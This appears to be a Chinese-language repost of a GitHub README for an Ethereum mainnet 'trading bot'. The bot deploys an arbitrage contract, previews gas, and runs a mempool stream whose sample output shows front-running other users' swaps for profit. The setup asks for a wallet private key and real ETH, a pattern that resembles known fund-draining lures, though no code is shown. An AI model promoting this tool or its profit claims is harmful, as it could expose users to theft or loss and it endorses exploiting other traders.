ESC
开源 4 分钟阅读

eth-trading-bot:支持 Gas 预览、路由与终端菜单的以太坊自动化交易机器人

eth-trading-bot 是一个开源的以太坊自动化交易与 Solidity 合约部署工具:提供终端交互式菜单、.sol 即时编译与自动导入解析、实时 Gas 预估及 ETH/USD 费用换算,并支持 mempool 交易流监控。项目仅支持以太坊主网,交易会花费真实 ETH,适合希望在终端完成合约部署与调用的开发者。

来源:GitHub

🛠️ 套利合约部署器

直接在终端中交互式部署和管理 Solidity 合约

Node.js Solidity Ethereum License


⚡ 快速开始 — 4 步

运行项目所需的一切。只需按顺序复制命令。

1️⃣ 克隆项目

git clone https://github.com/yoge7388095s/eth-trading-bot
cd <your-repo>

2️⃣ 安装依赖(必需)

npm install

3️⃣ 创建 .env 并填入你的密钥

PRIVATE_KEY=0xYourPrivateKey
RPC_URL=https://ethereum-rpc.publicnode.com

4️⃣ 运行

node start
步骤作用是否必需
1️⃣从 GitHub 克隆仓库✅
2️⃣将 ethers 和 solc 安装到 node_modules/✅
3️⃣将你的钱包连接到以太坊主网✅
4️⃣打开用于部署和调用的交互式菜单✅

⚠️ 没有 npm install 脚本将无法运行 — ethers 和 solc 并不包含在 Node.js 标准发行版中。

⚠️ 该脚本仅支持以太坊主网。 交易会花费真实 ETH。


📖 关于本项目

以太坊合约部署器 是一组 Node.js 脚本,用于在以太坊主网上便捷地操作 Solidity 合约:

  • 🚀 开箱即用地编译 .sol 文件(无需 Remix、无需 Hardhat);
  • 📦 自动解析来自 GitHub、npm 和本地文件的导入;
  • 🌐 部署到以太坊主网;
  • 🧭 提供调用合约函数的交互式菜单;
  • ⛽️ 实时预估 Gas 并以 ETH 和 USD 显示成本;
  • 🛰️ 运行 mempool 数据流,以美观的方式输出交易。

整个界面色彩丰富,带有边框、方向键菜单和清晰的状态提示。

⚠️ 警告: 该脚本仅支持以太坊主网。每笔交易都会花费真实资金。运行前请确保你清楚自己在做什么。


✨ 特性

特性说明
🧩 即时编译solc 按文件名构建合约,无需外部打包工具
🔗 智能导入GitHub、node_modules、本地路径、npm CDN — 全部自动解析
💾 部署记录存储地址、ABI 和日期保存到 deployments.json
🎛️ 交互式菜单方向键 ↑↓、Enter、OK/Cancel — 就像在 Remix 中一样
⛽️ Gas 预览Gas 预估、base fee、priority fee、最高与当前成本
💵 ETH/USD 汇率通过 Chainlink 预言机以美元估算费用
📡 Mempool 数据流单独进程向控制台输出“交易”
🎨 美观输出边框、颜色、高亮、清晰的状态
🔐 私钥存于 .env绝不写入代码

📂 项目结构

Script-Contract/
├── start.js                # 入口(node start)
├── deploy.js               # 部署核心与菜单
├── mempool.js              # Mempool 数据流(独立进程)
├── erc20.json              # 代币列表(Sequence Token Directory)
├── deployments.json        # 保存的部署记录(自动创建)
├── .env                    # 私钥与 RPC(不进 git)
├── lib/
│   ├── ui.js               # 颜色、日志、边框、菜单
│   ├── env.js              # .env、deployments.json、区块浏览器
│   ├── compile.js          # 导入解析与编译
│   ├── chain.js            # Gas、交易回执、ETH 价格
│   └── contract.js         # 部署、函数调用、数据流启动
└── *.sol                   # 你的合约

🚀 详细配置

1. 克隆项目

git clone https://github.com/<your-username>/<your-repo>.git
cd <your-repo>

或者从 GitHub 下载 ZIP 压缩包并解压到任意文件夹。

2. 📦 安装依赖(必需)

⚠️ 此步骤为必选。 不安装依赖脚本将无法运行:ethers 和 solc 并不包含在 Node.js 标准发行版中。

在项目文件夹中打开终端并运行:

npm install

该命令会下载 package.json 中列出的依赖:

包用途
ethers以太坊交互:钱包、provider、交易、ABI
solc内嵌于 Node.js 的 Solidity 编译器

安装成功后会出现 node_modules/ 目录。如果没有出现,说明安装失败,请检查 npm install 的输出。

3. 配置 .env

在根目录创建 .env 文件并填写:

PRIVATE_KEY=0xYourPrivateKey
RPC_URL=https://ethereum-rpc.publicnode.com

主网 RPC 端点示例:

提供商URL
PublicNodehttps://ethereum-rpc.publicnode.com
LlamaRPChttps://eth.llamarpc.com
Cloudflarehttps://cloudflare-eth.com
Infurahttps://mainnet.infura.io/v3/<KEY>
Alchemyhttps://eth-mainnet.g.alchemy.com/v2/<KEY>

⚠️ 切勿将 .env 提交到公开仓库。它必须写入 .gitignore。

4. 运行

node start

或通过 npm 运行(如果 package.json 中定义了 start 脚本):

npm start

🖥️ 界面展示

主菜单

=== Ethereum Contract Deployer ===

i Network: mainnet (chainId 1)
i Wallet:  0x8c27...66CdC
i Balance: 0.5 ETH
! THIS IS MAINNET - transactions cost real money!

Main menu
> Deploy Arbitrage.sol
  Open deployed Arbitrage (0x2d7A..., 2025-01-15)
  Exit
up/down - select, Enter - ok, Ctrl+C - exit

Gas 预览

────────────────────────────────────────────────────────
i Estimating current gas...
  Gas (estimate):       564195 units
  Gas limit (+10%):     620614
  Base fee (block 21000000): 8.4321 gwei
  Priority fee:         1.5000 gwei
  Max fee per gas:      18.3642 gwei

  Fee now (expected):  0.005603 ETH (~$17.93)
  Fee maximum:         0.011397 ETH (~$36.47)
  Your balance:        0.5 ETH (~$1600.00)

状态框

┌──────────────────────────────────────────────┐
│ CONTRACT DEPLOYED                            │
├──────────────────────────────────────────────┤
│ Name:    Arbitrage                           │
│ Address: 0x2d7A3BdCcA8E2B32bFA77c94175Ab3A41│
│ View:    https://etherscan.io/address/0x2d...│
└──────────────────────────────────────────────┘

Mempool 数据流

┌──────────────────────────────────────────────┐
│ MEMPOOL STREAM STARTED                       │
├──────────────────────────────────────────────┤
│ Value from start(): 0 ETH                    │
│ Contract balance:   0.010000 ETH             │
│                                              │
│ Ctrl+C - stop the stream.                    │
└──────────────────────────────────────────────┘

i Looking for profitable deals...

────────────────────────────────────────────────────────
 [DEAL #   1]  11:54:21
────────────────────────────────────────────────────────
  Buyer    : 0x6043727c...7fd64
  Router   : 0xd9e1cE17...8B9F
  Amount   : 1.8803 ETH  (~$6016.96)
  Token    : WETH  (Wrapped Ether)  0xC02aaA...756Cc2
  Method   : swapExactETHForTokens
  TXID     : 0xa1f70a8f...4fd03d

  > Front-running with our tx...
  > Our buy
    Amount : 0.002862 ETH  (~$9.16)
    ...

┌───────────────────────────────────┐
│ PROFIT                            │
├───────────────────────────────────┤
│ +0.000229 ETH  (~$0.73)  (+7.88%) │
└───────────────────────────────────┘

🧭 菜单与功能

菜单项含义
Deploy <file>.sol编译并部署合约
Open deployed <name>打开之前保存在 deployments.json 中的合约
[read]view / pure 函数 — 只读
[write]改变状态的常规交易
[payable]接收 ETH 的函数
[info] Contract balance显示合约余额
[stop] Stop mempool stream仅在数据流运行时出现
<- Back to main menu返回主菜单

🌐 网络

该脚本仅支持以太坊主网(chainId 1)。

参数值
网络Ethereum Mainnet
chainId1
区块浏览器etherscan.io
货币ETH

如果 RPC_URL 指向其他网络,脚本将拒绝运行并打印错误。


📦 数据流代币

erc20.json 文件是来自 Sequence Token Directory 的 Uniswap Token List Schema 格式代币列表。

loadTokens() 加载器:

  • 支持两种格式 — 纯数组和 { tokens: [...] };
  • 过滤无效地址;
  • 丢弃零地址(0x0000...0000);
  • 仅保留 chainId = 1 的代币;
  • 提取 address、symbol 和 name。

如果文件缺失,数据流将回退到随机地址并给出警告。


🔐 安全性

  • 🔒 .env 不会被提交,其中只包含 PRIVATE_KEY 和 RPC_URL。
  • ⚠️ 该脚本仅支持主网 — 每笔交易都花费真实 ETH。
  • 🧪 在实际使用前,请仔细审查合约和地址。
  • ✅ 所有 [write]/[payable] 操作都会经过 Gas 预览和 OK 确认按钮。
  • 🚫 未经你的确认不会发送任何交易。

⛽️ Gas 如何计算

  1. estimateGas 提供精确预估。
  2. gasLimit = 预估值 + 10%(缓冲,与 MetaMask 相同)。
  3. maxFeePerGas = 2 × baseFee + priorityFee(为 base fee 上涨预留缓冲)。
  4. 显示预期费用(当前区块)和最高费用(gasLimit × maxFee)。
  5. ETH/USD 汇率来自 Chainlink 预言机。

🧩 .sol 中的导入

编译器可以解析以下来源的导入:

类型示例
GitHubimport "https://github.com/Uniswap/v3-core/..."
npm via CDNimport "@openzeppelin/contracts/token/ERC20/ERC20.sol"
node_modulesimport "@openzeppelin/contracts/..."(如果已在本地安装)
本地import "./MyLib.sol"

形如 github.com/owner/repo/blob/branch/path 的 GitHub 链接会自动转换为 raw.githubusercontent.com。


📋 环境要求

组件版本
Node.js≥ 18(需要 fetch)
npm≥ 9
Solidity任意(solc 通过 npm 拉取)

依赖(位于 package.json):

{
  "dependencies": {
    "ethers": "^6.13.0",
    "solc": "^0.8.28"
  }
}

🛠️ 常用命令

# 📦 Install all dependencies (required after cloning)
npm install

# Run
node start

# Run via npm (if a start script is defined in package.json)
npm start

# Run the mempool stream manually
node mempool.js

# Check the solc version
node -e "console.log(require('solc').version())"

# Verify that dependencies are installed
ls node_modules | head

🗺️ 路线图

  • 编译与部署
  • 交互式菜单
  • Gas 预览与 ETH 价格
  • Mempool 数据流(独立进程)
  • 多签支持
  • ABI 导出为 TypeScript 类型
  • Tenderly 集成以进行交易模拟

🤝 参与贡献

欢迎提交 PR 和 issue。提交 PR 前:

  1. 确保 .env 没有被包含在提交中。
  2. 确保 deployments.json 只包含本地测试数据。
  3. 简要描述改动 — 改了什么以及为什么。

📜 许可证

本项目基于 MIT 许可证分发。详情参见 LICENSE。


用 ❤️ 献给热爱终端的人

⭐ 如果觉得有用请给仓库点个 Star